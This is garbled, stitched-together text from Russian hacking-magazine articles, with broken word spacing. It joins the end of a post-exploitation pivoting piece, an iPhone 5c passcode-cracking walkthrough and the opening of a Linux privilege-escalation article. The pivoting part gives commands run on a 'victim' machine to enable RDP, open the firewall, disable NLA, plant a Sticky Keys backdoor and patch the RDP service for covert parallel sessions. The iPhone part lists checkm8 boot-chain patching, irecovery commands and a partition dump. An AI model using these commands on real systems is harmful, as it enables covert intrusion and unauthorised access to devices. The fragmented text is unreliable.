Ре комен дую  исполь зовать  этот  метод  имен но  через  обра бот чик  запус ка
прог раммы,  а  не  через  замену  фай ла   →  ,  так  как  анти‐ 
виру сы такое иног да палят.

cmd.exe sethc.exe

Ес ли вдруг RDP ока жет ся отклю чен, мож но сде лать сле дующее:

victim#> reg add 'HKLM\SYSTEM\CurrentControlSet\Control\Terminal 
Server' /v fDenyTSConnections /t REG_DWORD /d 0 /f 
victim#> sc config TermService start= auto 
victim#> net start TermService 
victim#> netsh.exe firewall add portopening TCP 3389 'Remote Desktop'
victim#> netsh advfirewall firewall add rule   

TCP  3389 
name='Remote Desktop'

dir=in action=allow protocol= localport=

Так же убе дим ся, что на уда лен ной машине нет NLA:

victim#> reg add 'HKLM\system\currentcontrolset\control\Terminal 
Server\WinStations\RDP‐Tcp' /v UserAuthentication /t REG_DWORD /d 
0x0 /f 

Опи сан ный метод прост и кра сив — под клю чаем ся по RDP и вмес то логона
жмем пять раз Shift.

Под клю чение по RDP с сох ранени ем поль зователь ской сес сии

Ра бота ет этот метод как на XP, так и на 10

Этот  при ем  не  раз  выручал  меня,  ког да  тре бова лось  запус тить  GUI‐прог‐ 
рамму.

Но  увы,  у  него есть минус:  так  как пол ноцен ная RDP‐сес сия при  запус ке
прог рамм  подоб ным  обра зом  не  соз дает ся,  у  нас  будет  лишь  пара  минут,
пока мы не отва лим ся по  тайм‐ауту. Час то  это го  вре мени ока зыва ется дос‐ 
таточ но. Но если нет?

Параллельный доступ по RDP
Как было ска зано, глав ная проб лема — не заб локиро вать сес сию залоги нен‐ 
ного  поль зовате ля.  Сущес тву ет  нес коль ко  решений  для  пат чинга  служ бы

  и  сня тия  огра ниче ний  на  количес тво  одновре мен ных  сес сий.
Наибо лее про верен ным вари антом ока зал ся  . Пат чим RDP и дела ем
его муль тисес сион ным одной коман дой:

termservice
rdpwrap

victim#> RDPWInst.exe   ‐i ‐s

Про ект, увы, не под держи вает Windows XP, тут при годит ся дру гое  :ре шение

victim#> termsrv_patcher.exe ‐‐patch

Те перь,  исполь зуя  вре мен ную  локаль ную  или  домен ную  учет ку,  мож но
логинить ся  по  RDP  и  откры вать  ярлы ки  на  рабочем  сто ле  victim,  пока  тот
работа ет в сво ей сес сии и ничего не подоз рева ет:

attacker> rdesktop victim 

ВЫВОДЫ
Pivoting —  это  боль шой  этап  работ  ста дии  пос тэкс плу ата ции.  Я  пос тарал ся
осве тить свя зан ные с ним задачи в хро ноло гичес ком поряд ке:

пе ренос фай лов;•
проб рос пор тов и обход фай рво лов;•
по луче ние дос тупа в сеть через прок си или VPN.•

Ко неч но,  встре чают ся  более  спе цифич ные  слу чаи,  чем  пред став ленные
в статье. Одна ко, исполь зуя сочета ния пред став ленных при емов, мож но вый‐ 
ти победи телем из любой ситу ации.

Не дос таточ ный  pivoting  может  при вес ти  к  досад ной  неуда че,  ког да  был
про изве ден  взлом,  получе ны  тре буемые  пра ва,  но  конеч ная  цель  не  взя та
из‐за каких‐то тех ничес ких фор маль нос тей — ата кующий был за NAT и не мог
при нять  обратный  шелл  или  прог рамму  не  уда лось  запус тить  из‐за  необ‐ 
ходимос ти GUI, а поль зователь пос тоян но завер шал RDP‐сеанс.

Вид но, что мно гие при емы pivoting’а мож но исполь зовать без прав адми‐ 
нис тра тора или root.

Су щес тву ет некий сте реотип, что пос ле получе ния дос тупа к сис теме сле‐ 
дует  обя затель но  под нять  при виле гии. Да,  адми нис тра тив ные  пра ва —  это,
конеч но, хорошо. Одна ко на моей прак тике было два показа тель ных слу чая,
ког да  про ник новение  про исхо дило  и  с Windows,  и  с  Linux,  при чем без  прав
супер поль зовате ля.  Быс трые  попыт ки  под нятия  при виле гий  не  при вели
к  успе ху,  но  так  ли  это  было  нуж но? Даже  без  адми нис тра тив ных  прав  ата‐ 
кован ные сис темы впол не мож но было исполь зовать для пересыл ки тра фика
во внут реннюю сеть, в которой най ти уяз вимый ком понент и получить на нем
пол ные пра ва, как пра вило, не так уж и слож но. В резуль тате в обо их слу чаях
кон трол леры доменов пали и вся внут ренняя инфраструк тура была зах вачена.

Да же одна, самая нез начитель ная RCE может при вес ти к фаталь ным пос‐ 
ледс тви ям  для  всей  инфраструк туры,  все го  биз неса.  Никакие  фай рво лы
и  про чие  пре вен тивные  меры  не  спо соб ны  сдер жать  хакера,  который  уже
успел про ник нуть в сеть.
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ВЗЛОМ

iPhone  5c  был  пос ледним  смар тфо ном  Apple,  осно ван ным
на  32‐бит ном  про цес соре.  В  то  же  вре мя  это —  зна ковая
модель, получив шая широкую извес тность пос ле инци ден та
в  Сан‐Бер нарди но.  Пять  лет  назад  взлом  iPhone  5c  тер‐ 
рорис та стал кам нем прет кно вения и при чиной жар кого спо‐ 
ра меж ду Apple и ФБР. Сегод ня же взло мать такой аппа рат
мож но быс тро и дос таточ но прос то.

Чем  инте ресен  iPhone  5c  —  по  любым  мер кам  серь езно  уста рев ший
телефон? Как минимум дву мя вещами. С тех ничес кой точ ки зре ния это пос‐ 
ледняя модель  iPhone, в которой нет соп роцес сора Secure Enclave, что поз‐ 
воля ет  получить  пол ный  дос туп  к  его  содер жимому,  в  том  чис ле  всем
без  исклю чения  клю чам  шиф рования.  Взлом  iPhone  этой  модели,  по  сути,
пос ледняя оставша яся воз можность покопать ся во внут реннос тях под систе‐ 
мы безопас ности iOS — в более новых моделях она ста новит ся недос тупной
из‐за аппа рат ной защиты.

Но  инте рес на  эта  модель  не  толь ко  с  тех ничес кой,  но  и  с  полити чес кой
точ ки зре ния. Имен но она ока залась мес том стол кно вения инте ресов Apple
и Федераль ного бюро рас сле дова ний.

Историческая справка
iPhone  5c,  по  сути  про ход ная  бюд жетная  модель,  стал  печаль но  извес тным
пос ле тер рорис тичес кой ата ки в Сан‐Бер нарди но в декаб ре 2015 года. При‐ 
над лежав ший  работо дате лю  стрел ка  телефон  этой  модели  ока зал ся  заб‐ 
локиро ван не извес тным ни самому работо дате лю, ни спец служ бам паролем
из  четырех  цифр.  Более  того,  устрой ство  было  нас тро ено  так,  что бы  пос ле
десяти  неудач ных  попыток  подоб рать  пароль  все  дан ные  были  унич тожены.
Судорож ные  метания  при вели  к  пос пешным  пос тупкам.  Работо датель  тер‐ 
рорис та  изме нил  пароль  от  iCloud,  и  соз дать  све жую  резер вную  копию
в  обла ке  ста ло  невоз можно.  Работа  спец служб  зас топори лась;  для  извле‐ 
чения информа ции из телефо на был нужен код бло киров ки.

Тех ничес ких  средств для  взло ма  таких  устрой ств  в  те  годы не  сущес тво‐ 
вало.  Федераль ное  бюро  рас сле дова ний  пот ребова ло,  что бы  в  Apple  соз‐ 
дали прог рам мное обес печение, которое поз волило бы ФБР раз бло киро вать
iPhone  5c  тер рорис та.  В  Apple  отка зались  соз давать  такое  прог рам мное
обес печение (хотя чис то тех ничес ки мог ли это сде лать не нап ряга ясь). Было
наз начено  судеб ное  слу шание.  Одна ко  за  день  до  него  обви нение  поп‐ 
росило  отсроч ку,  заявив  о  сущес тво вании  треть ей  сто роны,  спо соб ной
помочь в раз бло киров ке. Еще через нес коль ко дней ФБР объ яви ло, что аппа‐ 
рат уда лось раз бло киро вать. Слу шание не сос тоялось, иск был отоз ван.

До сих пор офи циаль но не сооб щалось, каким методом вос поль зовалось
ФБР для получе ния пароля и кто его раз работал. Одна ко нам извес тна при‐ 
мер ная сум ма, упла чен ная за взлом устрой ства: дирек тор ФБР Джей мс Коми
ска зал в интервью, что взлом телефо на обо шел ся ФБР более чем в 1,3 мил‐ 
лиона дол ларов. Впро чем,  имя под рядчи ка  так  и  не обна родо вали. Некото‐ 
рые  ано ним ные  источни ки  утвер жда ют,  что  под рядчи ком  была  изра иль ская
ком пания Cellebrite, которая не опро вер гла, но и не под твер дила это. Одна ко
The Washington Post сооб щила, что, по сло вам оче ред ных ано ним ных «людей,
зна комых  с  воп росом»,  ФБР  зап латило  «про фес сиональ ным  хакерам»,
которые исполь зовали неопуб ликован ную  уяз вимость  в  прог рам мном обес‐ 
печении iPhone.

АЛЬТЕРНАТИВЫ
У  пред ложен ного  нами  спо соба  взло ма  iPhone  5c  есть  нес коль ко  аль тер‐ 
натив. В пер вую оче редь, конеч но же, нуж но упо мянуть сугубо ком мерчес кие
про дук ты и сер висы ком пании Cellebrite. Эти решения дос тупны исклю читель‐ 
но пра воох ранитель ным орга нам, при чем не каж дой стра ны, а их сто имость
сос тавля ет десят ки тысяч дол ларов.

В свое вре мя переби рать коды бло киров ки мож но было при помощи аппа‐ 
рат ного  «чер ного  ящи ка»  IP‐BOX  и  его  кло нов.  Основной  недос таток  всех
этих  устрой ств  в  том,  что  они  не  работа ют  с  сов ремен ными  вер сиями  iOS:
под держи вают ся  толь ко  вер сии  до  8.1  вклю читель но. Вто рой  недос таток —
низ кая  ско рость  перебо ра:  поряд ка  шес ти  секунд  на  попыт ку,  17  часов
на взлом четырех знач ного PIN‐кода.

Еще одной попыт кой ста ло решение за авторс твом Сер гея Ско робо гато‐ 
ва.  В  сво ем  про екте  «Ана лиз  безопас ности  Apple  iPhone  5c»  Сер гей  про‐ 
демонс три ровал  ата ку,  поз воля ющую  подоб рать  код  бло киров ки  iPhone  5c.
У  метода,  пред ложен ного  Сер геем,  так же  есть  недос татки.  Во‐пер вых,
телефон  пот ребу ется  разоб рать,  что  не  каж дому  по  силам.  Вто рой  недос‐ 
таток тот же, что и у IP‐BOX: ско рость перебо ра не пре выша ет одно го пароля
в пять секунд. Сам Сер гей утвер жда ет, что взло мать четырех знач ный код дос‐ 
тупа мож но  при мер но  за  сут ки,  а  перебор шес тизнач ного PIN‐кода  и  вов се
бес смыс лен.

КАК ЭТО РАБОТАЕТ
Мы  соз дали  чис то  прог рам мный  метод,  поз воля ющий  запус тить  перебор
паролей  непос редс твен но  на  самом  устрой стве.  Отвер тка  и  паяль ник
для это го не нуж ны; дос таточ но прос того кабеля Lightning. Наш метод базиру‐ 
ется  на  хорошо  изу чен ном  экс пло ите  checkm8,  который,  впро чем,  неп‐ 
ригоден для запус ка ата ки на пароль в чис том виде. В нас тоящий момент мы
реали зова ли ата ку толь ко с компь юте ров Mac.

Взлом iPhone 5c выг лядит сле дующим обра зом.
Для  начала  нам  нуж но  заг рузить  на  устрой ство  свой  собс твен ный  кас‐ 

томный RAMDisk. Имен но с него выпол няет ся перебор пароля. Заг рузка кас‐ 
томной  (непод писан ной)  про шив ки  ста ла  воз можной  бла года ря  BootROM‐
экс пло иту  checkm8.  Для  заг рузки  устрой ства  и  отклю чения  всех  про верок
пред при нима ем сле дующие шаги.

Шаг 1. Переводим телефон в режим DFU
На пер вом шаге необ ходимо ввес ти устрой ство в режим DFU. Это воз можно
толь ко вруч ную; никакой коман ды,  которая мог ла бы это сде лать, не сущес‐ 
тву ет.  Для  iPhone  5c  обна руже но  нес коль ко  вари антов  перехо да  в  нуж ный
режим. Нап ример, такой.

При  исполь зовании  ElcomSoft  iOS  Forensic  Toolkit  будут  выданы  инте рак‐ 
тивные инс трук ции.

До воль но прос той нам кажет ся такая пос ледова тель ность.
На чаль ное  сос тояние:  телефон  дол жен  быть  вык лючен  и  не  под клю чен

к компь юте ру.
На жима ем  кноп ку Home  (единс твен ную/цен траль ную на лицевой панели)
и,  удер живая  ее,  под клю чаем  кабель  Lightning.  Отпуска ем  Home,  ког да
на экра не устрой ства появит ся кар тинка «Под клю читесь к iTunes».

•

Од новре мен но зажима ем Home и Sleep/Power (кноп ка бло киров ки на вер‐ 
хнем  тор це  устрой ства)  и  удер жива ем  их  в  течение  вось ми  секунд  (на
некото рое вре мя на экра не появит ся логотип Apple).

•

От пуска ем  кноп ку  Sleep/Power,  но  про дол жаем  удер живать  Home
еще восемь секунд.

•

Ес ли  все  сде лано  пра виль но,  экран  аппа рата  оста нет ся  чер ным,  а  в  iTunes
или Finder (в зависи мос ти от исполь зуемой вер сии macOS) телефон появит ся
как iPhone in recovery mode (режим вос ста нов ления).

Все готово к сле дующим шагам.

Шаг 2. Эксплоит DFU
На  этом  шаге  про водим  заг рузку  в  режим  pwned  DFU  по  методу,  который
исполь зует ся в экс пло ите checkm8. Этот экс пло ит инте ресен тем, что исполь‐ 
зует  аппа рат ную  уяз вимость  в  заг рузчи ке BootROM,  которая  не может  быть
исправ лена обновле нием про шив ки. На устрой ствах с Secure Enclave (все 64‐
бит ные  модели  iPhone  начиная  с  iPhone  5s)  таким  обра зом  мож но  сде лать
джей лбрейк, но запус тить быс трый перебор паролей не удас тся: Secure En‐
clave огра ничит ско рость перебо ра на аппа рат ном уров не. А вот iPhone 5c —
иде аль ный  кан дидат:  аппа рат ного  соп роцес сора  безопас ности  нет,  мож но
делать прак тичес ки что угод но.

Воп рос: зачем в таком слу чае взла мывать код бло киров ки? Не про ще ли
сра зу  извлечь  из  телефо на  дан ные?  Увы,  без  кода  бло киров ки  извлечь
получит ся  очень  огра ничен ное  количес тво  информа ции.  Основной  мас сив
дан ных будет  зашиф рован,  а  ключ вычис ляет ся на осно ве  кода бло киров ки,
который вво дит поль зователь пос ле заг рузки устрой ства. При этом и вынес ти
перебор за пре делы iPhone тоже нель зя; про верять код бло киров ки и вычис‐ 
лять клю чи шиф рования дол жен про цес сор самого устрой ства.

Од нако про дол жим. В резуль тате работы экс пло ита мы попада ем в режим,
извес тный  под  неофи циаль ным  наз вани ем  pwned DFU. Это  все  еще  режим
DFU  (то есть сис тема не заг ружена), но у нас появил ся дос туп к сис темным
фай лам  (таким  обра зом  мож но  уста новить  джей лбрейк  checkra1n)  и  к
RAMDisk устрой ства.

Нас  сей час  инте ресу ет  имен но  RAMDisk.  Для  запус ка  ата ки  на  код  бло‐ 
киров ки  нам  нуж но  запус тить  наш  собс твен ный  код.  Одна ко  для  запус ка
непод писан ного при ложе ния одно го лишь экс пло ита мало, так как мы дол жны
про пат чить про вер ку под писи на каж дом эта пе заг рузки, а имен но в фай лах
из про шив ки iBSS, iBEC и kernelcache.

Шаг 3. Отключаем проверки подписи
На этом шаге мы пат чим про вер ку под писи в  iBSS. В iBEC же не толь ко пат‐ 
чится  про вер ка  под писи,  но  и  уста нав лива ются  сле дующие  парамет ры  заг‐ 
рузки:

 boot‐args: "rd=md0 ‐v amfi=0xff cs_enforcement_disable=1"

Бла года ря этим парамет рам мы получа ем verbose boot и отклю чаем про вер ку
под писи у ядра.

Для заг рузки устрой ства нужен еще один файл — DeviceTree. Он пред став‐ 
ляет  собой  иерар хичес кое  опи сание  аппа рат ных  устрой ств,  которые  затем
будет исполь зовать ядро. Этот файл пат чить не нуж но.

Шаг 4. Патчим RAMDisk
Еще один важ ный файл, который заг ружа ется на устрой ство, — сам RAMDisk.
В  кон тек сте  опе раци онной  сис темы  iOS  RAMDisk  —  это  вир туаль ный  диск
с фай ловой сис темой, который хра нит ся в опе ратив ной памяти устрой ства.

В  качес тве  осно вы  возь мем Restore  RAMDisk  из  офи циаль ной  про шив ки
Apple  и  модифи циру ем  его.  В  штат ный  RAMDisk  добавим  стан дар тные  ути‐ 
литы  коман дной  стро ки  (bash,  mkdir,  ls  и  дру гие) —  без  них  мы  не  смо жем
потом получить дос туп к коман дной стро ке и выпол нять коман ды на устрой‐ 
стве. Но преж де все го в рам диск необ ходимо заг рузить сер вер SSH, что бы
иметь  воз можность  под клю чить ся  к  телефо ну  с  компь юте ра. Для  это го  ско‐ 
пиру ем на RAMDisk sshd c необ ходимы ми фай лами кон фигура ции и про пат‐ 
чим  ути литу  restored_exteral  (она  изна чаль но  есть  на  рам диске),  что бы  она
сра зу же пос ле заг рузки рам диска под нимала сер вер SSH.

Продолжение статьи →
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Шаг 5. Патч ядра
Те перь нам нуж но про пат чить ядро (kernelcache).

Из началь но  iPhone 5c вышел с  iOS 7.0; пос ледняя вер сия  iOS, дос тупная
для  это го  телефо на, — 10.3.4. Начиная с  iOS 10  (а мы  заг ружа ем про шив ку
имен но этой вер сии) для запус ка при ложе ния недос таточ но прос то отклю чить
про вер ку  под писи.  Помимо  это го,  необ ходимо,  что бы  хеш  исполня емо го
фай ла  находил ся  в  так  называ емом  AMFI  trust_cache.  Соот ветс твен но,  пер‐ 
вым делом отклю чаем про вер ку  trust_cache (ина че sshd и про пат ченная ути‐ 
лита restored_external прос то не запус тятся).

Вто рой  важ ный  патч  свя зан  с  тем,  что  для  перебо ра  пароля  нам  нужен
дос туп  к  аппа рат ному  клю чу  0x835,  но  по  умол чанию  этот  ключ  недос тупен
из userland. Мы дол жны про пат чить один из драй веров, что бы получить дос туп
к это му клю чу и иметь воз можность переби рать коды бло киров ки из userland.

Та ким обра зом, порядок заг рузки сле дующий: pwned DFU → iBSS → iBEC
→ DeviceTree → RAMDisk → kernelcache.

Что бы это го добить ся, пот ребу ются инс тру мен ты pwned DFU (есть толь ко
в вер сии для macOS) и   (macOS и Windows).iRecovery

Вот пос ледова тель ность команд, которая при водит к нуж ному резуль тату:
 — выпол няем сам экс пло ит checkm8;• pwnedDFU ­p

 — заг ружа ем iBSS на устрой ство;• pwnedDFU­f iBSS.n41ap

 — заг ружа ем iBEC на устрой ство;• irecovery ­f iBEC.n41ap

 — заг ружа ем DeviceTree на устрой‐ 
ство;

• irecovery ­f DeviceTree.n41ap

 — выпол няем коман ду devicetree;• irecovery ­c devicetree

 — заг ружа ем RAMDisk на устрой ство;• irecovery ­f ramdisk10

 — выпол няем коман ду RAMDisk;• irecovery ­c ramdisk

  —  заг ружа ем  kernelcache
на устрой ство.

• irecovery  ­f  kernelcache.n41ap

В дан ном при мере   и   — про пат ченные вер сии
стан дар тно го RAMDisk и kernelcache, а   и  ,  соот ветс‐ 
твен но, пат ченные вер сии iBSS и iBEC.

ramdisk10 kernelcache.n41ap
iBSS.n41ap iBEC.n41ap

Иног да на одном из эта пов воз ника ет ошиб ка.

В таких слу чаях нуж но перезаг рузить телефон (а порой и компь ютер; ошиб ка
может  воз никать  из‐за  проб лемы  в  USB‐драй вере,  которая  лечит ся  толь ко
перезаг рузкой). Пос ле это го надо заново ввес ти телефон в режим DFU и про‐ 
делать все шаги сно ва.

Шаг 6. Монтируем разделы
Пос ле  того  как мы  про пат чили  и  заг рузили  все фай лы,  нуж но  смон тировать
раз делы устрой ства, что бы иметь дос туп к его фай ловой сис теме. Сис темный
раз дел находит ся в  , поль зователь ский в /dev/disk0s1s2. Нам
инте ресен имен но поль зователь ский, так что мон тиру ем его к /mnt2:

/dev/disk0s1s1

mount   rw ‐o ‐t hfs /dev/disk0s1s2 /mnt2 

Об рати  вни мание:  нес мотря  на  то  что  мы  успешно  смон тирова ли  поль‐ 
зователь ский  раз дел,  боль шая  часть  дан ных  на  нем  оста ется  недос тупной
из‐за сквоз ного пофай лового шиф рования. Дос тупна лишь неболь шая часть
дан ных, необ ходимая для успешной заг рузки устрой ства и, нап ример, при ема
вхо дящих звон ков и сооб щений.

Сле дующая  коман да  сох ранит  содер жимое  поль зователь ско го  раз дела
в архив tar:

ssh   ‐p 3022 root@localhost tar ‐c /mnt2 | dd of=<path_to_output_file> 

Кста ти, если все, что тебе нуж но, — это дамп поль зователь ско го раз дела, то
нет  никакой  необ ходимос ти  про делы вать  все  ука зан ные  опе рации  вруч ную:
дос таточ но  уста новить  джей лбрейк  checkra1n  и  вос поль зовать ся  готовым
набором скрип тов  . Тол ку с такого дам па, одна ко, нем ного:
без пароля  (а мы, напом ню, находим ся в режиме хоть и pwned, но DFU) мы
не  смо жем  рас шифро вать  поль зователь ские  дан ные  —  по  край ней  мере
боль шую их часть.

iPhone‐rootFS‐tool

В статье Джей мса Даф фи 
  рас ска зыва ется  о  том,  какие  дан ные  с  поль зователь ско го  раз дела

дос тупны без пароля. Сюда вхо дят:
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Security

спи сок учет ных записей элек трон ной поч ты;•
ло гины в соци аль ные сети — нап ример, мож но най ти иден тифика тор учет‐ 
ной записи SnapChat;

•

для  некото рых  при ложе ний —  уни каль ные  иден тифика торы  чатов  и  кон‐ 
тактов  (их  в  незашиф рован ном  виде  хра нят,  к  при меру,  все  тот  же
SnapChat и WhatsApp);

•

ис тория дос тупа к сетям Wi‐Fi;•
ис тория  сетевой  активнос ти  при ложе ний  (база  дан ных 

);
• /private/var/

wireless/Library/Databases/DataUsage.sqlite

се тевые нас трой ки (содер жимое  );• /private/var/preferences/

со обще ния голосо вой поч ты (в пап ке 
);

• /private/var/mobile/Library/

Voicemail/

ис тория дан ных мес тополо жения (дос таточ но огра ничен ная, но все же);•
час тичный дос туп к меди афай лам;•
спи сок  уста нов ленных  при ложе ний  и  крат кая  информа ция  об  исто рии
исполь зования;

•

не боль шая  часть  содер жимого  «Связ ки  клю чей»;  кон крет но  —  записи
с  атри бута ми 
и  .

•
kSecAttributeAccessibleAlwaysThisDeviceOnly

kSecAttrAccessibleAlways

О «Связ ке клю чей» нуж но рас ска зать чуть под робнее. Атри буты из пос ледне‐ 
го пун кта исполь зуют ся для  тех  типов  записей из  «Связ ки  клю чей»,  которые
дол жны  быть  дос тупны  сра зу  пос ле  заг рузки  устрой ства.  С  одной  сто роны,
это нем ного: основной мас сив паролей,  сер тифика тов и  клю чей ста новит ся
дос тупным  толь ко  пос ле  пер вой  раз бло киров ки  устрой ства.  С  дру гой  —
пароли  от  учет ных  записей  mail.ru  и  rambler.ru  почему‐то  были  сох ранены
имен но  с  этим  клас сом  защиты.  Я  не  могу  ска зать,  в  какой  имен но  вер сии
при ложе ний  соз даны  эти  записи;  попыт ка  вос про извести  ситу ацию  с  пос‐ 
ледни ми вер сиями при ложе ний про вали лась. Одна ко пароли в режиме BFU
были най дены.

На бор  скрип тов    поможет  извлечь  из  обра за  незашиф рован ные
фай лы и базы дан ных.

SPIDER

Ос новная  же  часть  дан ных  зашиф рована,  а  вычис лить  ключ мож но  лишь
пос ле взло ма кода бло киров ки. На этом эта пе устрой ство счи таем заг ружен‐ 
ным; перехо дим ко взло му пароля.

ВЗЛОМ ПАРОЛЯ
Итак, мы орга низо вали связь с компь юте ром и получи ли сре ду, поз воля ющую
запус кать  непод писан ные  при ложе ния.  Теперь  нуж но  запус тить  непос редс‐ 
твен но  перебор  пароля  (кода  бло киров ки  экра на).  Этим  делом  занима ется
ути лита passcode нашей собс твен ной раз работ ки, которую мы пред варитель‐ 
но заг рузили на RAMDisk вмес те с дру гими ути лита ми коман дной стро ки.

Сам пароль как таковой на устрой стве не сох раня ется ни в откры том, ни в
зашиф рован ном виде.  iOS про веря ет пра виль ность вве ден ного пароля сле‐ 
дующим обра зом. На осно ве вве ден ного поль зовате лем PIN‐кода фор миру‐ 
ется так называ емый пароль ный ключ, который исполь зует ся для рас шифров‐ 
ки  клю чей  клас сов  защиты  (class  keys).  Если  при  помощи  вве ден ного  поль‐ 
зовате лем  пароля  уда лось  успешно  рас шифро вать  все  клю чи  клас сов
защиты,  то  пароль  счи тает ся  пра виль ным,  а  соот ветс тву ющие  клю чи мож но
исполь зовать для рас шифров ки поль зователь ских дан ных.

Как уже упо мина лось, про вер ка пароля выпол няет ся на самом устрой стве.
При этом раз ница в про изво дитель нос ти меж ду ста рень ким iPhone 5c и сов‐ 
ремен ным iPhone 11 ско рее на поряд ки, чем в разы. Раз работ чики Apple пос‐ 
тарались сде лать так, что бы раз бло киров ка любого  iPhone занима ла у поль‐ 
зовате ля  одно  и  то  же  вре мя.  Количес тво  ите раций  отка либ ровано  таким
обра зом, что бы соот ветс тву ющие клю чи рас шифро выва лись за 80 мс. Это и
есть мак сималь ная ско рость перебо ра паролей, демонс три руемая ути литой
passcode.

Ал горитм  про вер ки  пароля  выг лядит  сле дующим  обра зом.  В  iOS  есть  спе‐ 
циаль ная сущ ность System Keybag, в которой хра нят ся зашиф рован ные клю чи
каж дого  клас са  защиты.  Сам  System  Keybag  хра нит ся  в  фай ле 

 Этот файл,  в свою оче редь,  зашиф‐ 
рован алго рит мом   на клю че  , который хра нит ся в Effaceable
Storage.

./private/var/keybags/systembag.kb
AES_CBC_256 BAG1

У  рас шифро ван ной  «сум ки  клю чей»  есть  заголо вок  (header)  и  спи сок
зашиф рован ных  клю чей.  Из  заголов ка  нам  важ но  получить  такую  информа‐ 
цию, как тип пароля (0 — PIN из четырех или шес ти цифр, 1 — чис ловой про‐ 
изволь ной дли ны, 2 — сим воль ный про изволь ной дли ны), соль и количес тво
ите раций.

Ва риан ты паролей

При  перебо ре  мы  вычис ляем  пароль ный  ключ  с  помощью  алго рит ма  PKD‐
F2_HMAC_SHA1. На вхо де — оче ред ной вари ант пароля,  соль и  количес тво
ите раций  из  заголов ка.  Далее  мы  «рас тягива ем»  вычис ленный  ключ  (key
stretching)  c  помощью  аппа рат ного  клю ча  0x835,  получая  таким  обра зом
новый ключ на осно ве клю чей 0x835 и passcode key. Наконец, на пос леднем
шаге мы пыта емся получен ным клю чом рас шифро вать клю чи клас сов защиты.
Если все клю чи успешно рас шифро вались, то пароль счи тает ся пра виль ным.
Если нет — перехо дим к сле дующе му вари анту.

СКОРОСТЬ РАБОТЫ: ПАРОЛЬ ИЗ ЧЕТЫРЕХ ИЛИ ШЕСТИ ЦИФР
Сов ремен ные  вер сии  iOS  по  умол чанию  пред лага ют  защитить  устрой ство
паролем из шес ти цифр. Перек лючить ся на четырех знач ный PIN мож но, но не
нуж но: бла года ря биомет ричес ким дат чикам (Touch ID и Face ID) вво дить код
бло киров ки тебе пот ребу ется очень ред ко (как пра вило, не чаще раза в нес‐ 
коль ко  дней).  Соот ветс твен но,  неболь шое  неудобс тво  мож но  и  потер петь
в поль зу зна читель но воз росшей безопас ности.

А вот iPhone 5c биомет ричес ким дат чиком не обо рудо ван; код бло киров ки
поль зовате лю  при ходит ся  вво дить  каж дый  раз  для  дос тупа  к  телефо ну.
В  резуль тате  на  этом  устрой стве  по  умол чанию  пред лага ется  уста новить
четырех знач ный PIN. Более того, даже если ты уста новишь пароль из шес ти
цифр, а потом захочешь его сме нить, сис тема вновь пред ложит тебе ввес ти
пароль из четырех цифр.

За дер жка меж ду попыт ками в 80 мс дает ско рость перебо ра в 13,6 пароля
в  секун ду.  Пол ностью  переб рать  все  ком бинации  из  четырех  цифр  мож но
за две над цать минут.

Па роли,  сос тоящие  из  шес ти  цифр,  переби рают ся  с  той  же  ско ростью;
пол ный  перебор  занима ет  поряд ка  21  ч,  одна ко  реаль ное  вре мя  раз бло‐ 
киров ки может быть зна читель но мень ше. При чина здесь в  том, что некото‐ 
рые пароли  встре чают ся  чаще дру гих,  и  эта  ста тис тика  нам извес тна. Чаще
все го,  как  ни  стран но  это  зву чит,  поль зовате ли  при думы вают  пароли  из  так
называ емо го  чер ного  спис ка.  Если  ты  попыта ешь ся  уста новить  в  качес тве
пароля,  ска жем,  код  000000  или  123456,  то  сис тема  пре дуп редит  тебя
о  потен циаль ной  небезо пас ности  такого  пароля  —  но  все‐таки  раз решит
тебе  его  исполь зовать.  Мно гие  уста нав лива ют  такие  пароли  по  прин ципу
«ник то не догада ется».

Пол ный  спи сок  паролей  из  «чер ного  спис ка»  мож но  извлечь,  про ана лизи‐ 
ровав образ iOS при помощи  . Дела ется это доволь‐ 
но прос то; ниже — при мер кода, который был исполь зован авто рами иссле‐ 
дова ния Extracting iOS’s passcode blacklist ( ):

Malus‐Security/iExtractor
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VERSION="13.3.1_17D50"
CODENAME="YukonD17D50.D22D221OS"

 FILE="dyld_shared_cache_arm64" # or "dyld_shared_cache_armv7s" for 
iOS 7 to 10.3
hdiutil attach decrypted.dmg

     strings /Volumes/$CODENAME/System/Library/Caches/$FILE | \
         grep "\bSecPasswordSeparator\b" ‐A 120 > blacklist_iOS_$VERSION.txt

   hdiutil unmount $CODENAME

Во  вре мя  ата ки  инс тру мен тарий  в  пер вую  оче редь  опро бует  самые  час то
исполь зуемые  пароли  (к  при меру,  123456,  000000,  343434),  во  вто рую  —
пароли,  в  которых  может  быть  закоди рова на  дата  (день  рож дения  поль‐ 
зовате ля  или  одно го  из  чле нов  семьи  —  весь ма  рас простра нен ный  циф‐ 
ровой пароль). Лишь в  том слу чае, если не сра бота ет ни одна из этих атак,
вре мя  отра бот ки  которых  сос тавля ет  при мер но  пол тора  часа,  прог рамма
вклю чит режим пол ного перебо ра.

БУКВЕННО-ЦИФРОВЫЕ ПАРОЛИ
Ско рос ти в 13,6 пароля в секун ду дос таточ но для взло ма паролей, сос тоящих
толь ко из цифр (до шес ти вклю читель но). Слож ность же бук венно‐циф ровых
паролей такова, что взло мать их за разум ное вре мя не пред став ляет ся воз‐ 
можным.  Соот ветс твен но,  в  нас тоящий  момент  взла мывать  бук венно‐циф‐ 
ровые пароли мы даже не пыта емся. Но если ты поп робу ешь это сде лать, то
рекомен дую  вос поль зовать ся  сло варем  —  нап ример,  сос тавлен ным
из извес тных паролей поль зовате ля.
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ВЗЛОМ

С пра вами рута ты можешь делать в сис теме что угод но: зак‐ 
репить ся  на  будущее,  оста вив  бэк дор,  внед рить  рут кит
или  тро ян,  заб рать,  изме нить  или  унич тожить  любую
информа цию —  хоть  раз местить  зад ницу  на  глав ной  стра‐ 
нице сай та, если зах ватил веб‐сер вер. Поэто му повыше ние
при виле гий в сис теме — один из важ ней ших шагов при ата‐ 
ках.  В  этой  статье  мы  пос мотрим,  как  это  дела ется  в  сис‐ 
темах с Linux.

В  общем  слу чае  эска лация  при виле гий  —  это  получе ние  прав  в  сис теме
выше, чем у тебя уже есть. Но чаще все го име ется в виду получе ние дос тупа
к учет ной записи root в Linux или system/administrator в Windows.

По чему  ста новит ся  воз можным  повысить  пра ва  в  сис теме,  казалось  бы
приз ванной пре дот вра щать подоб ное? При чин мно го. Вот, как мне кажет ся,
основные:

уяз вимос ти в при ложе ниях/скрип тах;•
не вер ная кон фигура ция ОС и при ложе ний;•
за бытые кри тичес ки важ ные дан ные (пароли, логины, бэкапы и про чее);•
уяз вимос ти в ядре ОС.•

